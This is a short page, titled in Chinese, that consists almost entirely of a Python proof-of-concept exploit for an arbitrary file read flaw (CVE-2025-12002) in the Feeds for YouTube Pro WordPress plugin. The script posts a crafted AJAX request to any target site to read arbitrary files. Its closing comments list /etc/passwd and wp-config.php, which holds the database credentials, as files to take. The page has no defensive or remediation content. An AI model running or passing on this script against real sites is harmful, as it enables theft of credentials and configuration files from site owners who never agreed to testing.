CVE-2025-12002 WordPress Feeds for YouTube Pro插件任意文件读取漏洞

import requests import sys # CVE-2025-12002 PoC - Feeds for YouTube Pro Arbitrary File Read # Target: WordPress site with Feeds for YouTube Pro plugin <= 2.6.0 # Prerequisites: 'Save Featured Images' enabled, 'Disable WP Posts' disabled def exploit_file_read(target_url, file_path): """ Exploit the arbitrary file read vulnerability via sby_check_wp_submit AJAX action. Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (e.g., /etc/passwd, wp-config.php) Returns: Content of the requested file """ # Construct the AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request # The vulnerability is in the sby_check_wp_submit action # The file parameter is not properly sanitized, allowing path traversal data = { 'action': 'sby_check_wp_submit', 'task': 'customize_feed', 'file': file_path # Vulnerable parameter - no sanitization } try: # Send the exploit request response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: return response.text else: return f"Error: HTTP {response.status_code}" except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-12002.py <target_url> ") print("Example: python cve-2025-12002.py http://example.com /etc/passwd") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {file_path}") print("-" * 50) content = exploit_file_read(target_url, file_path) print(content) if __name__ == "__main__": main() # Common target files for exploitation: # - /etc/passwd (Linux) or C:\Windows\boot.ini (Windows) # - wp-config.php (WordPress configuration with DB credentials) # - ../wp-config.php (path traversal variant) # - /var/www/html/wp-config.php (absolute path variant)